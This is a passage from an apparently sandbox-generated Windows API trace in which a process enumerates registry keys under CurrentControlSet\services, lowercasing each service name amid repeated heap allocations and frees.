(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.090] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.090] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.090] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.090] RegCloseKey (hKey=0x154) returned 0x0 [0249.090] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0249.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.090] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.091] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.091] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.091] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.092] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.092] RegCloseKey (hKey=0x148) returned 0x0 [0249.092] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.092] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.092] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0249.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0249.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.094] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.094] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.094] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0249.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.095] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.095] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0249.095] 